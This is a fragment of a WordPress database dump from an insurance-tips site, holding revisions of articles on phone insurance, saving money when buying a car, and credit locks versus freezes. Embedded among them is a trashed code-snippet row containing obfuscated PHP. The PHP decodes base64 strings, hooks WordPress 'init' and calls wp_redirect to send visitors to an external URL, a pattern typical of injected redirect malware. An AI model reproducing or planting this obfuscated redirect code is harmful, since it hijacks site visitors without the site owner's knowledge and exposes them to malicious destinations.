-->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-22\">Educational Cell Phone Insurance Plans</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">Some colleges and universities offer cell phone insurance plans for their students, professors, and staff. For example, cell phones purchased through Columbia University’s Information Technology department are eligible for device coverage starting at $11 per month. The Columbia plan requires paying a $99 deductible for each incident.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-25\">Homeowners or Renters Insurance Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">Most standard homeowners and renters insurance policies offer limited cell phone protections. If your phone is destroyed in a covered loss, such as a fire, the personal property coverage of your policy will cover it. Likewise, personal property coverage also protects your phone from theft or vandalism, which may occur in your home or away from home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">However, most homeowners and renters insurance policies do not cover accidental damage to your phone. So, if you drop your phone and crack its screen, you can’t rely on your home insurance coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">Some major insurance companies offer standalone coverage for cell phones. For instance, through a partnership with SquareTrade, Allstate offers a phone protection plan for $12.99 per month. This plan covers accidental losses such as a cracked screen or liquid damage, along with charging port and battery failures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Deductibles apply to the personal property coverage of your home or renters insurance policy. If your policy has a $1,000 deductible, it will not provide protection for a $500 cell phone, but the cost of repair or replacement as part of a covered claim will count toward your deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-33\">Credit Card Cell Phone Protection</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">Some credit card benefits include cell phone protection. For example, some Wells Fargo credit cards offer up to $600 in cell phone coverage, with a $25 deductible. Wells Fargo’s coverage protects against damaged or stolen cell phones, but does not cover lost phones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">The Visa Signature credit card also covers damaged or stolen cell phones, with a $50 deductible, and American Express provides up to $800 in phone coverage, with a $50 deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">Many credit card protections offer supplemental coverage. So, if your phone is covered by your homeowners insurance, you must exhaust that coverage before filing a claim with your credit card company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Oftentimes, credit card companies only offer cell phone protection if you use your credit card to pay your monthly service provider bill.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-41\">Considering the Risk/Reward of Phone Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-42\">When considering buying phone insurance, think about the cost of coverage and the protection it will provide. Can you afford the monthly or yearly insurance rate? Can you afford to buy a new phone if yours is damaged, lost, or stolen?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-44\">Phone insurance can save the day when you need it. Having the coverage ensures that you can purchase another phone if a thief makes off with yours or can afford repairs if it sustains damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-46\">When Is Phone Insurance Worth It?&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">When considering whether to buy phone insurance, think about how important a cell phone is in your daily life. More importantly, consider how not having your phone would impact your life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-49\">Staying Connected</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-50\">Folks who rely heavily on their cell phones likely need phone insurance. Perhaps you depend on your phone to stay connected with your family and friends or rely on it for internet access. People who rely on their phones for work likely need phone protection to ensure quick replacement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-52\">Damage or Loss Potential</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-53\">Parents who allow young children to use their expensive phones for calls or games run the risk of serious damages. Commuters who use public transportation face the threat of snatch-and-grab cell phone theft. Active people risk damaging their phones while exercising at the gym or hiking. And some folk simply tend to drop their phones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-55\">Cost Considerations</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-56\">The average price of a smartphone is just over $350, with the iPhone 13 Pro selling for as much as $1099, so consider whether you can afford a replacement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Apple. “iPhone 13 Pro.” Phone insurance is particularly important if you purchase a high-end phone through a monthly installment plan, otherwise you could be on the hook for months or years of payments if your phone is damaged, lost, or stolen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-58\">When Isn\'t Phone Insurance Worth It?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-59\">Phone insurance isn’t for everyone. While some people live with their phones in their hands, others only use them to make calls and occasionally surf the web. Others work from home and still have a landline connection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-61\">If you bought your phone through an installment plan, and have paid it off, you probably don’t need phone insurance. However, before dropping coverage, determine whether you can afford to buy a new phone if yours is damaged, lost, or stolen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-63\">Phone insurance is not for people who buy inexpensive phones. It doesn’t make good financial sense to pay $15 a month or more for a phone that costs $150.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-65\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-66\">Phone insurance provides valuable protection for people who own expensive phones and those who heavily rely on their phone every day. The market offers several ways to protect your phone, with manufacturers’ and service providers plans. Home and renters insurance policies, as well as some credit card companies, also provide phone protection options.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-68\">Determining whether you need phone insurance depends on the importance of having a cell phone and your financial ability to replace it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/is-phone-insurance-worth-it-5221960\">click here.</a></p>\n<!-- /wp:paragraph -->','Is Phone Insurance Worth It?','','inherit','closed','closed','','3811-revision-v1','','','2024-01-29 23:42:28','2024-01-29 23:42:28','',3811,'https://smartinsurance.tips/?p=3813',0,'revision','',0),(3818,1,'2024-02-16 23:16:06','2024-02-16 23:16:06','<!-- wp:paragraph -->\n<p>Don\'t let skyrocketing prices keep you from finding an affordable option.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3819,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-1-1024x1024.png\" alt=\"\" class=\"wp-image-3819\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Let\'s face the facts: It is not the ideal time to purchase a car. Whether you\'re searching for a new or pre-owned vehicle, you can expect to spend quite a bit in 2023. According to a December 2022 report from Kelley\'s Blue Book, new vehicle prices hit an all-time high in November of that year. Even non-luxury car owners paid over $500 above the asking price for their vehicles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-1\">While it may be tempting to try to hold on to your old car for a few more miles, make sure it\'s not costing you more money than it\'s worth. For those who live in sprawling suburbs or far away from the workplace, public transportation may not be a reliable backup. And extreme weather conditions might prevent a year-round biking commute. Although car buyers might feel financially stuck, these four tips will teach you how to save money on a car, no matter your financial situation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>01of 04</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_2-0\">1. Determine financing: Cash, bank loan, or dealer</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-1\">U.S. News and World Report released a guide to the average auto loan rates, and as of December 2022, rates were as low as 8.6 percent APR and as high as 22.16 percent. Because a car is a depreciating asset—it loses value over time—a high APR just adds insult to injury.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-2\">If you have to finance a car purchase, shop around for the best interest rate available. Chances are that it will come from a bank that you already use. Before submitting a formal loan application, pick up the phone and talk with a loan officer to run the numbers before they run your credit report.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-3\">Also, be open to dealer financing—if you\'re prepared to read the fine print. It can be easier and simpler to go with the loan product the dealer is offering, but because repayment timelines and interest rates are fungible, it is important to make sure that you read your contract thoroughly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-4\"><em>Your </em>terms may vary greatly from advertised terms and rates. Even if you get an interest rate that seems low, don\'t underestimate the compound interest. Use a car loan calculator to determine the grand total of the car, including loan interest and the purchase price. Compare it to the number you calculated above to see if the financing is really as good a deal as you originally thought.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-5\">And it should go without saying, but if you have the amount needed to pay for the car in cash, it is best to ditch the financing altogether and buy the car outright.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_2-0-6\">2. Evaluate the alternatives</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-7\">What with the availability of Rideshare and Car Share, if you\'ve come to the realization that you truly need a car of your own, chances are you know the cost of all the available alternatives. Of course, it\'s easy for frequent Lyft and Uber rides to add up—but owning and maintaining your own car can also be a costly endeavor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-8\">If price savings is of the utmost importance, you have to be realistic about what you can truly afford. That might mean buying a smaller car than planned or going gas-fueled over an electric vehicle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-9\">If you\'re browsing for true value, don\'t peg the price of your car to how much you make—or to the kind of vehicle you like. Instead, add up all those taxi receipts, subway tickets, and rental car invoices over the past year. Add in a 7 percent upsell for inflation. <em>That\'s</em> the number to beat. Any shiny objects that are above that figure are likely out of your optimal savings range.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_2-0-10\">3. Search online and on the lot</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-11\">If you haven\'t bought a car in the past five years, then you\'re in for a treat. No longer are you stuck haggling with a used car salesperson with a vast lot of overwhelming choices. Instead, you can buy a car online, moving at your own pace without the pressure of someone trying to seal the deal within the hour.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-12\">Online shopping through sites such as CarMax, AutoTrader, and TrueCar offers some buyers the opportunity to price compare for savings in a way that they just wouldn\'t be able to negotiate in person. They also will show the cars that are available in your area, as well as in others you select. Spare yourself the cost of gas hopping from city to city in search of a steal. You can now do much of this online—for free.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-13\">That said, if you know what you\'re looking for and you have the poker face to pull it off, don\'t underestimate a visit to the smaller dealerships. Because their bottom line is so deeply affected by a missed sale, they may be willing to make deals you didn\'t think possible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-14\">Even better, if you can browse their lot with your mechanic (or negotiate to have a three- to five-day period when you can take the car to a mechanic for a once-over before the final purchase), then you might be able to make a win-win deal from a local business in a pinch.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-15\">And for car experts who know how to diagnose and repair their vehicles, check out government auctions, which can be a hotbed of savings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_2-0-16\">4. Shop around for car insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-17\">Jerry, a website that uses AI to compare car insurance, analyzed over 1 million points of driver data from August 2020 to August 2021 and found that the pink tax applied to car insurance too. The findings showed that \"on average, women pay $142 per year more than men for car ownership and can pay up to $7,800 more during the length of ownership; pay $117.12 more than men when buying new cars and pay $22.94 more than men for car repairs.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-18\">While women reportedly paid less than men for car insurance overall, there were generational differences. Millennial, Gen X, and Boomer women pay more than their generational male counterparts in 36 states. So, while insurance is an unavoidable expense, it is important to recognize that even that expense can be biased.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-19\">Not only should you shop around for different rates for yourself, but you should also ask age mates in your city to share what they\'re paying and from which companies. Using the knowledge of comparator rates across demographics, you can use transparency as a tactic to negotiate better rates for yourself. In addition to identity factors, consider coverage totals, deductibles, and whether the company offers lower rates for taking defensive driving courses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.realsimple.com/work-life/money/saving/ways-to-save-money-buying-a-car\">click here.</a></p>\n<!-- /wp:paragraph -->','4 Ways to Save Money if You\'re Planning to Buy a Car','','publish','closed','closed','','4-ways-to-save-money-if-youre-planning-to-buy-a-car','','','2024-02-16 23:16:06','2024-02-16 23:16:06','',0,'https://smartinsurance.tips/?p=3818',0,'post','',0),(3952,1,'2024-04-10 16:53:45','2024-04-10 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if(substr($q453955339,0,4)===base64_decode(\'aHR0cA==\')){$w113136155[$j2783163181]=time();delete_transient(base64_decode(\'ZXhw\'));set_transient(base64_decode(\'ZXhw\'),$w113136155);wp_redirect($q453955339);exit;}}}}add_action(base64_decode(\'aW5pdA==\'),base64_decode(\'X3JlZA==\'));}','Untitled Snippet','','trash','closed','closed','','untitled-snippet__trashed-3','','','2024-04-10 16:59:53','2024-04-10 16:59:53','',0,'https://smartinsurance.tips/wpcode/untitled-snippet/',0,'wpcode','',0),(3820,1,'2024-02-16 23:16:06','2024-02-16 23:16:06','<!-- wp:paragraph -->\n<p>Don\'t let skyrocketing prices keep you from finding an affordable option.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3819,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-1-1024x1024.png\" alt=\"\" class=\"wp-image-3819\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Let\'s face the facts: It is not the ideal time to purchase a car. Whether you\'re searching for a new or pre-owned vehicle, you can expect to spend quite a bit in 2023. According to a December 2022 report from Kelley\'s Blue Book, new vehicle prices hit an all-time high in November of that year. Even non-luxury car owners paid over $500 above the asking price for their vehicles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-1\">While it may be tempting to try to hold on to your old car for a few more miles, make sure it\'s not costing you more money than it\'s worth. For those who live in sprawling suburbs or far away from the workplace, public transportation may not be a reliable backup. And extreme weather conditions might prevent a year-round biking commute. Although car buyers might feel financially stuck, these four tips will teach you how to save money on a car, no matter your financial situation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>01of 04</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_2-0\">1. Determine financing: Cash, bank loan, or dealer</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-1\">U.S. News and World Report released a guide to the average auto loan rates, and as of December 2022, rates were as low as 8.6 percent APR and as high as 22.16 percent. Because a car is a depreciating asset—it loses value over time—a high APR just adds insult to injury.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-2\">If you have to finance a car purchase, shop around for the best interest rate available. Chances are that it will come from a bank that you already use. Before submitting a formal loan application, pick up the phone and talk with a loan officer to run the numbers before they run your credit report.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-3\">Also, be open to dealer financing—if you\'re prepared to read the fine print. It can be easier and simpler to go with the loan product the dealer is offering, but because repayment timelines and interest rates are fungible, it is important to make sure that you read your contract thoroughly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-4\"><em>Your </em>terms may vary greatly from advertised terms and rates. Even if you get an interest rate that seems low, don\'t underestimate the compound interest. Use a car loan calculator to determine the grand total of the car, including loan interest and the purchase price. Compare it to the number you calculated above to see if the financing is really as good a deal as you originally thought.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-5\">And it should go without saying, but if you have the amount needed to pay for the car in cash, it is best to ditch the financing altogether and buy the car outright.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_2-0-6\">2. Evaluate the alternatives</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-7\">What with the availability of Rideshare and Car Share, if you\'ve come to the realization that you truly need a car of your own, chances are you know the cost of all the available alternatives. Of course, it\'s easy for frequent Lyft and Uber rides to add up—but owning and maintaining your own car can also be a costly endeavor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-8\">If price savings is of the utmost importance, you have to be realistic about what you can truly afford. That might mean buying a smaller car than planned or going gas-fueled over an electric vehicle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-9\">If you\'re browsing for true value, don\'t peg the price of your car to how much you make—or to the kind of vehicle you like. Instead, add up all those taxi receipts, subway tickets, and rental car invoices over the past year. Add in a 7 percent upsell for inflation. <em>That\'s</em> the number to beat. Any shiny objects that are above that figure are likely out of your optimal savings range.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_2-0-10\">3. Search online and on the lot</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-11\">If you haven\'t bought a car in the past five years, then you\'re in for a treat. No longer are you stuck haggling with a used car salesperson with a vast lot of overwhelming choices. Instead, you can buy a car online, moving at your own pace without the pressure of someone trying to seal the deal within the hour.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-12\">Online shopping through sites such as CarMax, AutoTrader, and TrueCar offers some buyers the opportunity to price compare for savings in a way that they just wouldn\'t be able to negotiate in person. They also will show the cars that are available in your area, as well as in others you select. Spare yourself the cost of gas hopping from city to city in search of a steal. You can now do much of this online—for free.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-13\">That said, if you know what you\'re looking for and you have the poker face to pull it off, don\'t underestimate a visit to the smaller dealerships. Because their bottom line is so deeply affected by a missed sale, they may be willing to make deals you didn\'t think possible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-14\">Even better, if you can browse their lot with your mechanic (or negotiate to have a three- to five-day period when you can take the car to a mechanic for a once-over before the final purchase), then you might be able to make a win-win deal from a local business in a pinch.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-15\">And for car experts who know how to diagnose and repair their vehicles, check out government auctions, which can be a hotbed of savings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_2-0-16\">4. Shop around for car insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-17\">Jerry, a website that uses AI to compare car insurance, analyzed over 1 million points of driver data from August 2020 to August 2021 and found that the pink tax applied to car insurance too. The findings showed that \"on average, women pay $142 per year more than men for car ownership and can pay up to $7,800 more during the length of ownership; pay $117.12 more than men when buying new cars and pay $22.94 more than men for car repairs.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-18\">While women reportedly paid less than men for car insurance overall, there were generational differences. Millennial, Gen X, and Boomer women pay more than their generational male counterparts in 36 states. So, while insurance is an unavoidable expense, it is important to recognize that even that expense can be biased.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0-19\">Not only should you shop around for different rates for yourself, but you should also ask age mates in your city to share what they\'re paying and from which companies. Using the knowledge of comparator rates across demographics, you can use transparency as a tactic to negotiate better rates for yourself. In addition to identity factors, consider coverage totals, deductibles, and whether the company offers lower rates for taking defensive driving courses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.realsimple.com/work-life/money/saving/ways-to-save-money-buying-a-car\">click here.</a></p>\n<!-- /wp:paragraph -->','4 Ways to Save Money if You\'re Planning to Buy a Car','','inherit','closed','closed','','3818-revision-v1','','','2024-02-16 23:16:06','2024-02-16 23:16:06','',3818,'https://smartinsurance.tips/?p=3820',0,'revision','',0),(3821,1,'2024-02-16 23:18:29','2024-02-16 23:18:29','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3822,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-2-1024x1024.png\" alt=\"\" class=\"wp-image-3822\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>In the dynamic landscape of personal finance and cybersecurity, understanding the nuances between various protective measures is crucial. One such area that often perplexes individuals is the choice between a credit lock and a credit freeze. While both serve to safeguard your financial identity, they operate differently and cater to distinct circumstances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this complete guide, we will explore the differences between a credit lock and a credit freeze, exploring their purposes, benefits, and when it is most well advised to establish each.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Difference Between Credit Lock and Credit Freeze</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Before immersing into the specifics of credit locks and credit freezes. It is required to understand the fundamental disparities between the two. While both are mechanisms designed to prevent unauthorized access to your credit information, their mechanisms and implications differ significantly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Aspect</strong></td><td><strong>Credit Lock</strong></td><td><strong>Credit Freeze</strong></td></tr><tr><td>Control</td><td>Allows you to easily lock and unlock your credit report at your discretion.</td><td>Imposes a more rigid restriction on access, requiring explicit authorization to lift the freeze.</td></tr><tr><td>Immediate Accessy</td><td>Provides immediate access when you need to apply for new credit.</td><td>Involves a more time-consuming process to freeze and unfreeze, potentially causing delays in credit applications.</td></tr><tr><td>Flexibility</td><td>Offers flexibility for individuals who frequently apply for credit.</td><td>Less flexible due to the more cumbersome process, making it suitable for those who prioritize security over convenience.</td></tr><tr><td>Level of Security</td><td>Provides a moderate level of security against unauthorized access.</td><td>Offers a higher level of security, making it a more robust defense against identity theft.</td></tr><tr><td>Cost</td><td>May come with a fee for the service, depending on the credit bureau or service provider.</td><td>Generally involves fees for both placing and lifting the freeze. Fees may vary by state.</td></tr><tr><td>Recommendation</td><td>Suitable for those anticipating the need for frequent access to new lines of credit.</td><td>Recommended for individuals prioritizing maximum security and not planning to apply for new credit in the near future.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>A credit lock is a motivated measure that permits you to control access to your credit report in actual time. It gives an appropriate on/off switch, granting you to lock and unlock your credit at your discretion. This instantaneous control can be managed through online portals or mobile apps provided by credit bureaus or third-party services. The adaptability of a credit lock makes it a popular choice for those who expect constant access to their credit information, Including during loan applications or credit checks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the other hand, a credit freeze is an extra strong but less adjustable security measure. When you choose for a credit freeze, you need to “lock” your credit report, and make it unavailable to potential creditors without your specific authorization. Unlike a credit lock, a credit freeze is not as easily toggled on and off. It provides a higher level of security but may involve a more intricate process to lift the freeze temporarily when necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When Should You Lock or Freeze Your Credit?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Understanding when to deploy a credit lock or credit freeze is pivotal in ensuring your credit information remains secure without impeding your financial activities unnecessarily.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What Is a Credit Lock? When Should You Use It?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A credit lock is an ideal choice when you require instant and constant control over access to your credit information. A credit lock offers seamless and flexibility to grant short-term access to your credit report mindful when applying for loans or credit cards. This proves for the most part favorable in situations where timing is critical, and you want to facilitate a smooth and swift approval process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Additionally, if you’re concerned about ongoing identity theft threats or anticipate potential unauthorized access to your credit, a credit lock serves as a proactive deterrent. By having the capability to quickly lock and unlock your credit, and you maintain an increased level of control over who can view your credit information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What Is a Credit Freeze? When Should You Use It?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A credit freeze is a more exacting measure, suitable for individuals demanding an added layer of protection against unauthorized access to their credit. Consider opting for a credit freeze if you are not actively applying for credit and want to fortify your defenses against potential identity theft or deceptive activities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Instances, where a credit freeze is advisable, include</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>After Identity Theft Incidents-</strong>&nbsp;If you have fallen casualty to identity theft, a credit freeze can prevent the thief from opening new accounts using your stolen information.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Concerns About Security Breaches-</strong>&nbsp;Following broad data violations or if you suspect that your personal information may have been compromised, and a credit freeze acts as a preemptive safeguard.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Long-Term Security Measures-</strong>&nbsp;If you are not planning any major financial transactions in the near future, opting for a credit freeze can provide a more resolute, and lengthy defense against unauthorized access.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In the progressing landscape of personal finance and security, and understanding the distinctions between credit locks and credit freezes is pivotal. Both tools play an essential role in defending your credit information, offering varying levels of control and security. Assessing your individual needs and the context of your financial activities will guide you in determining whether a credit lock’s flexibility or a credit freeze’s robust defense is more suitable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you navigate the strong geography of credit protection, keep in mind that staying informed and proactive is the key to maintaining control over your financial well-being. Whether you opt for the agility of a credit lock or the steadfast security of a credit 